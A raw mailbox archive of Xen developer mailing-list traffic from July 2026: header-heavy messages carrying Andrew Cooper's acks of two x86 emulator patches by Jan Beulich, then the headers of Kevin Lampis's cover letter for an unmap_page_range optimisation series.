 b=lkRU32yJFWUElJn5dpQFevmHGIypZLE8V0X8Y/BaBV1dus4IucCQdeDF9ATJq+9J82BAcHu0S8DIscyOdfV6NH37IbSH8sc8FhRSOs8zgN+bafyW4C/fQStj8cexvKMa6juNZ0VCn17I8ztqAFPwLuxqEebehBsWLp0Rxmp0HxI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <00a5cf74-e5f9-4a91-b74b-8c0497dee505@citrix.com>
Date: Mon, 27 Jul 2026 14:48:23 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86emul: drop host_and_vcpu_must_have()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B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Fv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0073.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2bd::6) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|PH7PR03MB7389:EE_
X-MS-Office365-Filtering-Correlation-Id: b5762bed-8056-4618-961d-08deebe5bc65
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|11063799006|10067099003|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	3lMFVd14KiDqTZMe0KguK6p1GqwiEoy27r9Zklwcay0o7sv5hC+GOk/kQBJdP9RuelQAvtPCOMJKakE8RBz6GtdswZh0jqVUDE77nzyJPCPuwRih6mNINfeQmWmvM2sZ1a1gfzFAR+MbeHHTZALN9NKwg0TWIMkHPtNipBuxKoPDZX+PtLwT8nMG4+UOxGjq6JrXZcuCwNy0t9XFnjjKBFcH4Tzwcn7WOMP+mvujG4yBcMEF6oyxqIaXcnGgcmyxPUpKPnQfrC4ElwkUE08B05iy7d3z8sODJo+oqCOjt0gog+k+fcHa1fWCUqFfChlq1LaGLHJCRxH9ZSdd/0LrC2NICBz6HESrmW66wTwYIWX7llfvE+VaHivwFwMymGgIERayntpc7QW5rRFSPXlefjVIaqZBfS7dLtd+F76ttrHwNV1MPVraLahBeb7824B+SrUmsCAGFBkYfDsDQVo7RrTrGDkpJ7ng9fn6oQvzesZ4jjIij5xx7G3x3k8W4WlZgAZpKAJPe1fT+GFDVVUOvk3iLvGAQQUq2Ttu0B9NU3PW4BC/5XnViPfxqbqWlpafCbnwcd1TeWJ7BW7UcCBw5LVJlnkVwkqtB1jE4/uGZEegTUS9ci9bZTMwIme1kJHaRHs/QSxcreZaf0TAuFmT5A==
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(11063799006)(10067099003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ekRaSG9OZ1VGREt1dkJXMUtqSHpsNERzSTk3Z1pQczlEcjVCL1pyYVpSd3dX?=
 =?utf-8?B?UHoxQ00wT3c0blEwS3BXMG5SREtzVXUwaGFwYTdZVUlLemtKY2w4b1RkWDBT?=
 =?utf-8?B?Z2hWS2lER284UnR3MVh1dWNOMWJleWdPa3Bxd3czVnB4dUpDS0gyYURBQUFj?=
 =?utf-8?B?S0RmbWhyU0xrQ2p6bFRZUmhZMVcrNklRWnN1QzNmOXBKZm1WUXVjZ1NIblFO?=
 =?utf-8?B?dTZna1dCTjFzRFlnT0VWMk15ZmxJRFJVNGNuVUlFRXB3L3NpWGxtY3FpNDJU?=
 =?utf-8?B?TkJtVE9kR0ZKRlNBaEtZNXg0amJPclZMeDQzcVhmQXJFeUt5dngwU2J3MTVk?=
 =?utf-8?B?Sko4UWlhRndjODhCdVVWU2xvTWlhSVBRY1BYNmlhQUViSlQxM3ZRbklMMU9T?=
 =?utf-8?B?VWN1bEw1TVBkYnVJbUhGWWIwUzNs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E1WGw5Smp1SEtsTHdFNy9ReFVpbmRCYUpLUXJFcG9LNFM0cXB6Ymw1clgz?=
 =?utf-8?B?SExvRkJsd1ovbDhTS0FqS2QzNmxFQjluZGRjNElFZ2pLZFRXR216UnBFMUd5?=
 =?utf-8?B?TE1mQmw4UWp4LzRoRGJuRlE2QTNWN2hUVllaOElybjg1VFpBQUQ3QT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b5762bed-8056-4618-961d-08deebe5bc65
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 13:48:27.6008
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: VO0wUqEI7Nszy+4EbtKtEW7mvHeM50AmVjTnDLptNa7mJFbhjVii5zVzLlr8Bl3P4j5h0I702CFj9oeIeEQW7M7gm/KwftUBUftV0VaohGA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR03MB7389
X-purgate-ID: tlsNG-720697/1785160111-F16AF2AC-6FA4CBE3/0/0
X-purgate-type: clean
X-purgate-size: 522

On 09/07/2026 10:46 am, Jan Beulich wrote:
> With CPU policy dependency logic now properly in place and working, and
> with us never enabling ISA bits in guest policies which the underlying
> hardware doesn't support, the dual checks aren't needed anymore. In fact
> in Misra terms they are dead code.
>
> In turn, a number of cpu_has_* can then also go away, when their only user
> was the emulator code.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 14:07:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 14:07:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371706.1619181 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woLyu-0004Lc-82; Mon, 27 Jul 2026 14:07:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371706.1619181; Mon, 27 Jul 2026 14:07:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woLyu-0004LV-4p; Mon, 27 Jul 2026 14:07:00 +0000
Received: by outflank-mailman (input) for mailman id 1371706;
 Mon, 27 Jul 2026 14:06:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1woLys-0004LP-AI
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:06:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woLyr-0041Z3-5w
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:06:57 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6765ef-e002-0a2a0a5209dd-0a2a45099a30-46
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 16:06:57 +0200
Received: from [52.101.57.48]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6765ff-be1a-0a2a45090019-346539300faf-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 16:06:56 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by DS0PR03MB7583.namprd03.prod.outlook.com (2603:10b6:8:200::22) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 14:06:51 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Mon, 27 Jul 2026
 14:06:51 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=WjM5Kbjkrnr2imfjDXHfo+iG9/W9vkDeN/wFIotr4teJ3kipcGsTnYfMIXi/023DWEP0owqjZRXf75hle0nq98wXd5j8PzUAyBBTVE1MzJySH2lWj5cfInQAJjt8hrcJ9TReR+2AhA2rwi+cXfZ7Ufz/RaAeTq4qUad+C8bbbb/a3fMLz0XfAEufywDUochw2LqgaMYB9ewDHgyd2mjmoW0drod0ODWk//KZdZNEPNkAeLom3zTGmVDmD9VEzfCeSsuvFmGMyEwZNTETnqKw/HACY9AsMbrdSa4rI6ZH4mit96JI08G12iUcYrLk+gmm2TPcgX22xbNH1pMyIuh88g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=pHe3OjmUHbKwc+JoWeAjgb/Q1QMx2yuZVjt8duooN4Y=;
 b=NOPHwQYe6W/Y15wmJzK/x67BT/CnF7/xIdQjvYPCOKbGeWO2eOyDQi/OYkZ+EBfmUl4aZbQDE+W+anXTVC4BiYwqU6q4nX0WePzc/doqpe44K8XiYwVeQw5NL4T8QjUenuA9jKza54zWsUjpaA/6bayz9znP7s6Ftx2fJdF46T/Mn32OKxzUtY/CuaBtCNCB482EJwZt9Vyd/rqJskm7n4/vnEOx9MN5BiHn/Ea4NTCkc+hM+r1xobzZ6bk7/TtM70FqVgNyEiBSadfI1wZU5pOexEr0bmmwYMC81Ik4d9M3G8uRFj+muImMlQmM3BYrkfVoiiRD91pM2TwfiQkX0w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=pHe3OjmUHbKwc+JoWeAjgb/Q1QMx2yuZVjt8duooN4Y=;
 b=YUaoT+2UO8Og43kojIET2vlS1U/Ojy1JCiTOlpCf/xnQPmx83RDuXuypHtDsUG+wCipNrt+lgKKsovYtUcASudXabZA/WsAXT8ATPNBOfJQWkYHdQ7DHllhWPk17RDEylo/ylObbVPJ/sUlqNa6LtPDNnYYfaDnPBS8ipO4a6Iw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <e4391c82-3d46-496b-abd3-0b787680ab9b@citrix.com>
Date: Mon, 27 Jul 2026 15:06:48 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Subject: Re: [PATCH v9 08/10] x86emul: support non-SIMD MOVRS
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <926a2315-a2b7-4aad-87e6-d686c9da9e3a@suse.com>
 <9fdf318d-b838-40bb-8778-86f791902a4a@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5Qnjh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jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <9fdf318d-b838-40bb-8778-86f791902a4a@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0220.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:33a::18) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|DS0PR03MB7583:EE_
X-MS-Office365-Filtering-Correlation-Id: 9328ed1a-6b6c-451c-6e00-08deebe84e6e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|366016|56012099006|4143699003|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	4tJeawDlA/D58ecNfSzmyBG77je0s7H6ocB1IZyKwBc5b6/q49SBM9CBEORwTiJE/5zZ0sOnUx6oC+/6jSvJKxejFoVG3e4q8zwbjEgiD4BnsC0a/LD2xqf+KarxHuX/zgDbNDPjwE7h50VO6wBN4q4SsjIriVqKYPH0NskWVNPMjPpFap0clq1GDjzwBaa2askqYPo1ybDnOfREEGHbQj3G2Wg77q1upfOyuoo+kfyJRAqDdj5ZmQ4wkD/4YrIoJeU8QJ9fEvkndcE26cl5CLcVcILJqnSn++vDIEcIoapjEqbGYnOpicCtZWeGhN9oCi9gEnbzhaZdlJ4FeiqV3xRYso+0tHxA3s85OHNL3Tup2B9b4LpdIoTa1Lf4JvNoEGfxDMzvqJNfkimd6LqqEmPp/xmA0YkmdPKTNX3BZEkmL1N6XXQpzVmCAkdY5W9pL7SArI9uZX70NWwN0WeYEaQALo3ATX07elYs6s+kFxTrAoOPjvpiPcxhuo+bVYDTgajHH9Yf8gEZnSnMNDu8+ccfAdHzsWoUCykpDlcECiJYDzuLjS2lnd8Ds1zbOT4pWZ8RC/7EQKoaAu9q5qwGb2q/suChM9kpCnIN8Jm4f67EM3o9BQL7Dx9Z5TJpfhwVT/pjkWlcU1lC86JApqvJoSUIIhBnvMix1kZHlKkBSCo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(366016)(56012099006)(4143699003)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?N0hjWWN4RVQ1Znd1Vm1hTUNtbnpqQytVSHJyMi8wbzVRQllhZ0FWMm9XMWtN?=
 =?utf-8?B?WE1ud0tUc0ZSVDZWditHYWR1VHJRVTNVa2M1TGd0TUJMazh5Mlc0RCthWER0?=
 =?utf-8?B?Zk5sejZSdEFnbnVESXZ4Z3VvdEc3aHI3Sm9xbWNqUFhZRkY4QUQzRjNibG1P?=
 =?utf-8?B?c0JMWUdYVmNTb0dLdmhLVHd6b2lJYUlzb2lYUG9KWm9ITFBTZE4yNHVib1ZR?=
 =?utf-8?B?Zzc1c0lTUituVytqTTdZcHVCclgzbmYvMi9jSG5vVFBQS3pobldDUEdwa1Ni?=
 =?utf-8?B?Y3p3SGRQMUV1eWlYei9Ga0Y4M3BLRTJrTE1xaGZKVEszNmtTcE5KU3dvcXVt?=
 =?utf-8?B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=
 =?utf-8?B?aHMvQzJZSUN0UjJjK1ZZd0k1T2ZWSUgzTDltWEl5OTdlalZNSlRQR1RNalVS?=
 =?utf-8?B?Q2VNRnpJQlZYR3VoSHZHcUlpdmVaQ2VaWGh0R2JDSkN1TlVFcE14eUNTYXFs?=
 =?utf-8?B?Y3dsNng2aVIrbUphSTE4QTQ5Q3Y3allxaHovaExlblpHY2krUHRaVFl0Qkh1?=
 =?utf-8?B?ckU0NXlRd2syalhGcnlObEc4aTdwR3lvQWk5U2FndGVhVGlLRjNOZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 9328ed1a-6b6c-451c-6e00-08deebe84e6e
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 14:06:51.5165
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: GfFPTABflUN/SpULjh8HDWjDM3pr/MFUcMRGi2G6gpgQVQsEi5V4IWRn7FXNsmt8Dn+CL6RFRSrI5R4QgKKBZPyygrmXyiEcXvCpfAC1NRc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR03MB7583
X-purgate-ID: tlsNG-bad1c0/1785161217-3AAD8034-D351DE0C/0/0
X-purgate-type: clean
X-purgate-size: 238

On 24/11/2025 3:01 pm, Jan Beulich wrote:
> As we ignore cachability aspects of insns, they're treated like simple
> MOVs.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>




From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:05:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:05:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371721.1619191 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMt1-0003Ur-9F; Mon, 27 Jul 2026 15:04:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371721.1619191; Mon, 27 Jul 2026 15:04:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMt1-0003Uk-5K; Mon, 27 Jul 2026 15:04:59 +0000
Received: by outflank-mailman (input) for mailman id 1371721;
 Mon, 27 Jul 2026 15:04:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kevin.lampis@citrix.com>) id 1woMt0-0003Ue-Cc
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:04:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woMsz-001hsa-FB
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:04:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a677383-2eae-0a2a0a5409dd-0a2a4504a49c-44
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:04:57 +0200
Received: from [52.101.43.68]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a677397-b57f-0a2a45040019-34652b44811f-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:04:57 +0200
Received: from BY1PR03MB7996.namprd03.prod.outlook.com (2603:10b6:a03:5b2::8)
 by SN7PR03MB7120.namprd03.prod.outlook.com (2603:10b6:806:350::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 15:04:52 +0000
Received: from BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07]) by BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07%3]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 15:04:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=eWXIqgmVi0F8xuKIVCs8AcrXcx4KrTJxlgpdZSdd+fRqRWzcbbJS1Vd0kkt2rlRj9D1xQHLhgGIhzdvuF5Y/vHsnqZ94bmz8HNgHSkiBRqDJDbpK8pEqmZZ4zKztOJN/ffGFd3ZTPCHvug6ZhJUigsRpcMEEg7S9fZqN//iZ2rI71V90lFJTpLwWGhrivY/HfAOtwPJdT0U1QDxMNvfVhvDXt7gDeP8122JzlH3TWUouZfMg0O5QL6yII58oojjrg5wu5C5C2++7Nx5UJQzwjf4iELpG2SHdBww7hBxFZ4FI7ILHrgDVe2oMxJaP231igdRDkHgFZNcqHiid81GpWw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=k3/qE33aGnB0GPdUTVyxXXwvfLiLbL5RP15YnR/uhIc=;
 b=r4mpxGCaSdmOcsCZGfZl7slYoNZqzym2L5wivkkM3Wd6nOg2r78U3JPJMfhzmyQoUhIOeeceC0vPlYQ7+WCujz6QMLzJUopylg74dkIU9WRWjU8Q7nz7LK+sKuerwdHGK6ZhfkMdAcIQnloEkQ+Vu18Xii6wfqy3Im91U1NZCF6I4X8T/P0YHO/TL5YMMCcFYjyu3h9JRVBhtcmNNLzAWiz7pQgg4WVtHlx7FFaZ0bWPnuXCjJCgacBuCSCFDWqkOJNqpMUeGHVAPAWhsVdvwvt/rBtDJ9alM+useY4FQ2I4jgGCltWk6TiitPpN2JWSv1MMcgM6qS/P9pPvRY2N5g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=k3/qE33aGnB0GPdUTVyxXXwvfLiLbL5RP15YnR/uhIc=;
 b=tr8uhmU4CudnxNqdaJpoUwL02ofAYvWAcqal0/CDr9XsKpeWTdUY98QmSuZ7R8uM5GWbEmmezPPTXWAPNoCk2Ju68DWUXyw4rrenMGsFRE+P5ozRKDeLruzyd9e8YJX0gxoCqjf3AJDNbjCC3AVuzQuJvuyszZYxNNCp9TTULJA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Kevin Lampis <kevin.lampis@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	Kevin Lampis <kevin.lampis@citrix.com>
Subject: [PATCH 0/4] unmap_page_range optimisation
Date: Mon, 27 Jul 2026 16:06:11 +0100
Message-ID: <20260727150615.1373200-1-kevin.lampis@citrix.com>
X-Mailer: git-send-email 2.52.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: LO2P265CA0492.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:13a::17) To BY1PR03MB7996.namprd03.prod.outlook.com
 (2603:10b6:a03:5b2::8)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
